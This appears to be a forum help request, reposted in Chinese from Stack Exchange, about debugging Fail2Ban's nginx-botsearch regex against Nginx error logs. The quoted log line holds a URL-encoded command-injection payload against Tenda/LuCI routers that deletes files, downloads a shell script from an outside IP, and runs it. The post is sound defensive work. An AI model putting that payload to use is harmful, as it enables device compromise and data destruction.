Fail2Ban正则表达式无法匹配Nginx错误日志的调试求助
Fail2Ban正则表达式无法匹配Nginx错误日志的调试求助
各位大佬好,我在Ubuntu 22.04.4 LTS系统上启用了Fail2Ban自带的nginx-botsearch.conf过滤器,现在对其中的正则表达式行为有些困惑,想请大家帮忙调试分析下。
当前过滤器里的正则表达式是这样的:
^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"(\S+)\" (failed|is not found) \(2\: No such file or directory\), client\: <HOST>\, server\: \S*\, request: \"(GET|POST|HEAD) \/<block> \S+\"\, .*?$
目前我发现这个正则能匹配到下面这条日志记录:
2024/05/08 13:00:40 [error] 637#637: *7255 open() "/var/www/html/node01c/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 80.94.92.60, server: node-c.myhost.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.79.129%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1", host: "20.208.129.142"
不过我不确定它的匹配逻辑是否完全符合预期,或者是不是有某些应该被拦截的日志没被匹配到,麻烦大家帮忙分析下这个正则的工作机制,以及如何调试它的匹配行为?
备注:内容来源于stack exchange,提问作者Alessandro Carini
相关产品推荐
相关产品推荐

